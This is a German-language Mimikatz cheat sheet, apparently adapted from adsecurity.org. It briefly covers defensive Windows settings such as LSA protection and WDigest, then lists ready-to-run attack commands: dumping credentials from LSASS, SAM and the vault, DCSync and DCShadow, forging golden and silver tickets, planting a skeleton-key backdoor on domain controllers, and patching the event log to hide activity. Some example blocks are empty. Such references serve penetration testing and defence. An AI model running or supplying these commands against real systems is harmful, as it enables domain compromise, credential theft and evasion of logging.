Mimikatz
Diese Seite basiert auf einer Seite von adsecurity.org. Überprüfen Sie das Original für weitere Informationen!
LM- und Klartext im Speicher
Ab Windows 8.1 und Windows Server 2012 R2 wurden erhebliche Maßnahmen ergriffen, um sich gegen das Diebstahl von Anmeldeinformationen zu schützen:
LM-Hashes und Klartextpasswörter werden nicht mehr im Speicher gespeichert, um die Sicherheit zu erhöhen. Eine spezifische Registrierungseinstellung, HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential", muss mit einem DWORD-Wert von
0
konfiguriert werden, um die Digest-Authentifizierung zu deaktivieren und sicherzustellen, dass "Klartext" -Passwörter nicht im LSASS zwischengespeichert werden.LSA-Schutz wird eingeführt, um den Local Security Authority (LSA)-Prozess vor unbefugtem Speicherlesen und Codeinjektion zu schützen. Dies wird erreicht, indem der LSASS als geschützter Prozess markiert wird. Die Aktivierung des LSA-Schutzes umfasst:
Ändern der Registrierung unter HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa, indem
RunAsPPL
aufdword:00000001
gesetzt wird.Implementierung eines Gruppenrichtlinienobjekts (GPO), das diese Registrierungsänderung auf verwalteten Geräten erzwingt.
Trotz dieser Schutzmaßnahmen können Tools wie Mimikatz den LSA-Schutz mithilfe spezifischer Treiber umgehen, obwohl solche Aktionen wahrscheinlich in Ereignisprotokollen aufgezeichnet werden.
Gegenmaßnahmen zur Entfernung von SeDebugPrivilege
Administratoren haben in der Regel SeDebugPrivilege, um Programme zu debuggen. Dieses Privileg kann eingeschränkt werden, um unbefugte Speicherabbilder zu verhindern, eine häufig von Angreifern verwendete Technik, um Anmeldeinformationen aus dem Speicher zu extrahieren. Selbst wenn dieses Privileg entfernt wird, kann das TrustedInstaller-Konto weiterhin Speicherabbilder mithilfe einer angepassten Dienstkonfiguration erstellen:
Dies ermöglicht das Dumpen des Speichers von lsass.exe
in eine Datei, die dann auf einem anderen System analysiert werden kann, um Anmeldeinformationen zu extrahieren:
Mimikatz-Optionen
Die Manipulation von Ereignisprotokollen in Mimikatz umfasst zwei Hauptaktionen: das Löschen von Ereignisprotokollen und das Patchen des Ereignisdienstes, um das Protokollieren neuer Ereignisse zu verhindern. Im Folgenden finden Sie die Befehle für diese Aktionen:
Löschen von Ereignisprotokollen
Befehl: Diese Aktion zielt darauf ab, die Ereignisprotokolle zu löschen, um die Nachverfolgung von bösartigen Aktivitäten zu erschweren.
Mimikatz bietet in seiner Standarddokumentation keinen direkten Befehl zum direkten Löschen von Ereignisprotokollen über die Befehlszeile. Die Manipulation von Ereignisprotokollen beinhaltet jedoch in der Regel die Verwendung von Systemtools oder Skripten außerhalb von Mimikatz, um bestimmte Protokolle zu löschen (z. B. mit PowerShell oder dem Windows-Ereignisbetrachter).
Experimentelle Funktion: Patchen des Ereignisdienstes
Befehl:
event::drop
Dieser experimentelle Befehl ist darauf ausgelegt, das Verhalten des Ereignisprotokolldienstes zu ändern und so das Aufzeichnen neuer Ereignisse zu verhindern.
Beispiel:
mimikatz "privilege::debug" "event::drop" exit
Der Befehl
privilege::debug
stellt sicher, dass Mimikatz mit den erforderlichen Berechtigungen zum Ändern von Systemdiensten arbeitet.Der Befehl
event::drop
patcht dann den Ereignisprotokolldienst.
Kerberos-Ticket-Angriffe
Erstellung eines Golden Tickets
Ein Golden Ticket ermöglicht die Impersonation von Zugriffen auf Domänenebene. Wichtige Befehle und Parameter:
Befehl:
kerberos::golden
Parameter:
/domain
: Der Domänenname./sid
: Die Security Identifier (SID) der Domäne./user
: Der Benutzername, der imitiert werden soll./krbtgt
: Der NTLM-Hash des KDC-Dienstkontos der Domäne./ptt
: Injiziert das Ticket direkt in den Speicher./ticket
: Speichert das Ticket für die spätere Verwendung.
Beispiel:
Erstellung eines Silver Tickets
Silver Tickets gewähren Zugriff auf bestimmte Dienste. Wichtige Befehle und Parameter:
Befehl: Ähnlich wie bei einem Golden Ticket, aber zielt auf bestimmte Dienste ab.
Parameter:
/service
: Der zu zielende Dienst (z. B. cifs, http).Andere Parameter ähnlich wie bei einem Golden Ticket.
Beispiel:
Trust Ticket Erstellung
Trust Tickets werden verwendet, um auf Ressourcen in verschiedenen Domänen zuzugreifen, indem Vertrauensbeziehungen ausgenutzt werden. Wichtige Befehle und Parameter:
Befehl: Ähnlich wie ein Golden Ticket, jedoch für Vertrauensbeziehungen.
Parameter:
/target
: Der vollqualifizierte Domänenname (FQDN) der Ziel-Domäne./rc4
: Der NTLM-Hash für das Vertrauenskonto.
Beispiel:
Zusätzliche Kerberos-Befehle
Auflisten von Tickets:
Befehl:
kerberos::list
Listet alle Kerberos-Tickets für die aktuelle Benutzersitzung auf.
Cache übergeben:
Befehl:
kerberos::ptc
Injiziert Kerberos-Tickets aus Cache-Dateien.
Beispiel:
mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit
Ticket übergeben:
Befehl:
kerberos::ptt
Ermöglicht die Verwendung eines Kerberos-Tickets in einer anderen Sitzung.
Beispiel:
mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit
Tickets löschen:
Befehl:
kerberos::purge
Löscht alle Kerberos-Tickets aus der Sitzung.
Nützlich vor der Verwendung von Befehlen zur Ticketmanipulation, um Konflikte zu vermeiden.
Manipulation von Active Directory
DCShadow: Lässt eine Maschine vorübergehend als DC agieren, um AD-Objektmanipulationen durchzuführen.
mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit
DCSync: Ahmt einen DC nach, um Passwortdaten anzufordern.
mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit
Zugriff auf Anmeldeinformationen
LSADUMP::LSA: Extrahiert Anmeldeinformationen aus LSA.
mimikatz "lsadump::lsa /inject" exit
LSADUMP::NetSync: Gibt vor, ein DC zu sein, indem die Passwortdaten eines Computerkontos verwendet werden.
Kein spezifischer Befehl für NetSync im ursprünglichen Kontext angegeben.
LSADUMP::SAM: Zugriff auf lokale SAM-Datenbank.
mimikatz "lsadump::sam" exit
LSADUMP::Secrets: Entschlüsselt im Registrierungsspeicher gespeicherte Secrets.
mimikatz "lsadump::secrets" exit
LSADUMP::SetNTLM: Setzt einen neuen NTLM-Hash für einen Benutzer.
mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit
LSADUMP::Trust: Ruft Authentifizierungsinformationen für Vertrauensstellungen ab.
mimikatz "lsadump::trust" exit
Sonstiges
MISC::Skeleton: Injiziert eine Hintertür in LSASS auf einem DC.
mimikatz "privilege::debug" "misc::skeleton" exit
Privilege Escalation
PRIVILEGE::Backup: Erwerben von Backup-Rechten.
mimikatz "privilege::backup" exit
PRIVILEGE::Debug: Erlangen von Debug-Privilegien.
mimikatz "privilege::debug" exit
Anmeldeinformationen auslesen
SEKURLSA::LogonPasswords: Zeigt Anmeldeinformationen für angemeldete Benutzer an.
mimikatz "sekurlsa::logonpasswords" exit
SEKURLSA::Tickets: Extrahiert Kerberos-Tickets aus dem Speicher.
mimikatz "sekurlsa::tickets /export" exit
Sid- und Token-Manipulation
SID::add/modify: Ändert SID und SIDHistory.
Hinzufügen:
mimikatz "sid::add /user:targetUser /sid:newSid" exit
Ändern: Kein spezifischer Befehl für Ändern im ursprünglichen Kontext angegeben.
TOKEN::Elevate: Übernimmt Tokens.
mimikatz "token::elevate /domainadmin" exit
Terminaldienste
TS::MultiRDP: Erlaubt mehrere RDP-Sitzungen.
mimikatz "ts::multirdp" exit
TS::Sessions: Listet TS/RDP-Sitzungen auf.
Kein spezifischer Befehl für TS::Sessions im ursprünglichen Kontext angegeben.
Tresor
Extrahiert Passwörter aus dem Windows-Tresor.
mimikatz "vault::cred /patch" exit
Last updated